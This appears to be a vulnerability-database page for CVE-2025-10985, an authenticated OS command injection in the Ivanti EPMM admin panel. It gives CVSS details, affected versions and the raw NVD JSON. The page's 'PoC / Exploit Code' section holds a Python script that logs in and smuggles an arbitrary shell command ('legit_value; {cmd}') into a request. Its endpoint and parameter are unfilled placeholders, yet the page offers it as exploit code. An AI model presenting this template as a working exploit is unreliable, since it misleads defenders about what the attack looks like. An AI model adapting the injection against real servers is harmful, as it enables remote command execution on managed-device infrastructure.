Security Vulnerability Report
中文
CVE-2025-10985 CVSS 7.2 HIGH

CVE-2025-10985

Published: 2025-10-14 15:16:02
Last Modified: 2025-10-15 18:07:49
Source: 3c1d8aa1-5a33-4ea4-8992-aadd6440af75

Description

OS command injection in the admin panel of Ivanti EPMM before version 12.6.0.2, 12.5.0.4, and 12.4.0.4 allows a remote authenticated attacker with admin privileges to achieve remote code execution.

CVSS Details

CVSS Score
7.2
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:ivanti:endpoint_manager_mobile:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:ivanti:endpoint_manager_mobile:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:ivanti:endpoint_manager_mobile:*:*:*:*:*:*:*:* - VULNERABLE
Ivanti EPMM < 12.4.0.4
Ivanti EPMM 12.4.x(12.4.0.4之前)
Ivanti EPMM 12.5.x(12.5.0.4之前)
Ivanti EPMM 12.6.x(12.6.0.2之前)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-10985 - Ivanti EPMM Admin Panel OS Command Injection PoC # WARNING: This PoC is for educational and authorized testing purposes only. # Unauthorized use of this code against systems you do not own is illegal. import requests import sys TARGET_URL = "https://target-epmm-host" ADMIN_USER = "admin" ADMIN_PASS = "password" def exploit(target, username, password, cmd): """ Exploit OS command injection in Ivanti EPMM admin panel. The vulnerability exists in an admin panel endpoint that fails to sanitize user-supplied input before passing it to a system command. """ session = requests.Session() # Step 1: Authenticate to the EPMM admin panel login_url = f"{target}/mifs/admin/login.jsp" login_data = { "username": username, "password": password } resp = session.post(login_url, data=login_data, verify=False) if resp.status_code != 200: print("[-] Login failed") return print("[+] Authenticated successfully") # Step 2: Send crafted request with injected OS command # The vulnerable parameter accepts input that is concatenated into # a backend shell command without proper sanitization. vulnerable_url = f"{target}/mifs/admin/..." # Inject command using shell metacharacters (e.g., ;, |, &&, $()) payload = f"legit_value; {cmd}" inject_data = { "vulnerable_param": payload } resp = session.post(vulnerable_url, data=inject_data, verify=False) print(f"[+] Command injection response status: {resp.status_code}") print(resp.text[:2000]) if __name__ == "__main__": cmd = sys.argv[1] if len(sys.argv) > 1 else "id" exploit(TARGET_URL, ADMIN_USER, ADMIN_PASS, cmd)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-10985", "sourceIdentifier": "3c1d8aa1-5a33-4ea4-8992-aadd6440af75", "published": "2025-10-14T15:16:01.610", "lastModified": "2025-10-15T18:07:49.220", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OS command injection in the admin panel of Ivanti EPMM before version 12.6.0.2, 12.5.0.4, and 12.4.0.4 allows a remote authenticated attacker with admin privileges to achieve remote code execution."}], "metrics": {"cvssMetricV31": [{"source": "3c1d8aa1-5a33-4ea4-8992-aadd6440af75", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "3c1d8aa1-5a33-4ea4-8992-aadd6440af75", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-78"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ivanti:endpoint_manager_mobile:*:*:*:*:*:*:*:*", "versionEndExcluding": "12.4.0.4", "matchCriteriaId": "14CCB657-0965-4842-B6BD-B7B2890DFB0B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ivanti:endpoint_manager_mobile:*:*:*:*:*:*:*:*", "versionStartIncluding": "12.5.0.0", "versionEndExcluding": "12.5.0.4", "matchCriteriaId": "395B1544-0C7B-4883-BA2D-772416DE26E5"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ivanti:endpoint_manager_mobile:*:*:*:*:*:*:*:*", "versionStartIncluding": "12.6.0.0", "versionEndExcluding": "12.6.0.2", "matchCriteriaId": "A53B20A3-676C-4ED2-B6A7-EEB2B537666C"}]}]}], "references": [{"url": "https://forums.ivanti.com/s/article/Security-Advisory-Endpoint-Manager-Mobile-EPMM-10-2025-Multiple-CVEs?language=en_US", "source": "3c1d8aa1-5a33-4ea4-8992-aadd6440af75", "tags": ["Vendor Advisory"]}]}}